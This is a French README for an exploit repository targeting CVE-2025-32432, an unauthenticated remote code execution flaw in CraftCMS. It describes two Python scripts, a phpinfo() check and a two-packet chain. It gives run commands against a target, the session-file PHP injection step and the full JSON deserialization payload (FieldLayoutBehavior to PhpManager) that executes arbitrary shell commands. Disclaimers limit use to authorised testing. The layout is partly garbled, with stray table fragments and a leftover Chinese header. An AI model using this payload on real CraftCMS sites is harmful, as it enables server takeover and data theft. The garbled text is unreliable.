
Exploit Python pour CVE-2025-32432, une RCE sans authentification dans le point de terminaison asset-transform de CraftCMS. Inclut une chaîne de deux paquets pour exécuter des commandes shell arbitraires via des gadgets de désérialisation.
Exécution de code à distance sans authentification pour CraftCMS 3.x / 4.x / 5.x
Mainteneur du PoC : C.T.Y. (usage recherche uniquement)
Découverte de la vulnérabilité : Nicolas Bourras – Orange Cyberdefense
Inspiration supplémentaire pour le PoC : Recherche SensePost & script public de Chirag Artani
Ce dépôt regroupe deux scripts d'exploitation Python complémentaires pour CVE-2025-32432 — une RCE sans authentification dans le point de terminaison de transformation d'actifs de CraftCMS.
| Script | Objectif |
|---|
craftcms_rce_php_check.py | Son de sécurité — envoie une requête en utilisant le gadget FnStream pour vérifier si du PHP arbitraire s'exécute (affiche la sortie de phpinfo()). Idéal pour une confirmation à faible impact. |
craftcms_final_payload.py | Exploitation complète — chaîne en deux paquets : d'abord implante du PHP via FnStream, puis utilise le gadget FieldLayoutBehavior → PhpManager pour exécuter n'importe quelle commande shell. |
Le deuxième script est celui décrit tout au long de ce README.
Le premier script est inclus pour complétude et validation rapide, grâce à Chirag Artani — voir Crédits.
Le nom du script a été adapté pour plus de clarté ; structure et idée originales par Chirag Artani.
Pour usage éducatif et tests de sécurité autorisés uniquement.
Utiliser ces scripts contre des systèmes sans autorisation écrite explicite est illégal et contraire à l'éthique.
assetId (heuristique 404 → 302)-c/--cmd)pip install -r requirements.txt) :
requestsurllib3# Cloner le dépôt
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Installer les dépendances
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victime.com
Si vous voyez la sortie de phpinfo(), la cible est très probablement exploitable.
python3 craftcms_final_payload.py -u https://victime.com -c "id"
| Option | Forme longue | Description | Requis |
|---|---|---|---|
-u | --url | URL de base de la cible (sans slash final) | ✅ |
-c | --cmd | Commande shell à exécuter | ✅ |
-a | --asset | assetId connu valide | ❌ |
-s | --scan-max | Limite de force brute (défaut: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> écrit du PHP arbitraire dans /tmp/sess_<ID>.actions/assets/generate-transform avec un gadget FieldLayoutBehavior → PhpManager force CraftCMS à faire un require() du fichier de session, exécutant ainsi le code.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId)phpinfo original (craftcms_rce_php_check.py) et idées de recherche précoces
Le nom du script a été adapté pour plus de clarté ; structure et idée originales par Chirag Artani.Avis de responsabilité : Tout risque juridique ou dommage découlant de l'utilisation de ce code relève de la seule responsabilité de l'utilisateur.
Licence MIT — voir LICENSE.
| 檔案 | 用途 |
|---|---|
craftcms_rce_php_check.py | Vérification de faisabilité d'exécution PHP : une seule requête, utilisant FnStream pour déclencher phpinfo(), afin de confirmer à faible impact si la cible est vulnérable.Ce nom de fichier a été adapté pour plus de clarté ; le concept et la structure originaux sont de Chirag Artani. |
craftcms_final_payload.py | Exploitation complète en deux paquets : d'abord implante du PHP via FnStream, puis exécute des commandes arbitraires via PhpManager. |
Usage réservé à l'enseignement et aux tests de sécurité autorisés. Toute opération non autorisée est illégale.
python3 craftcms_rce_php_check.py -u https://cible
python3 craftcms_final_payload.py -u https://cible -c "id"
Les paramètres sont identiques à la version anglaise.
phpinfo
Ce nom de fichier a été adapté pour plus de clarté ; le concept et la structure originaux sont de Chirag Artani.Toute responsabilité légale ou perte découlant de l'utilisation de ce code incombe à l'utilisateur.
Licence MIT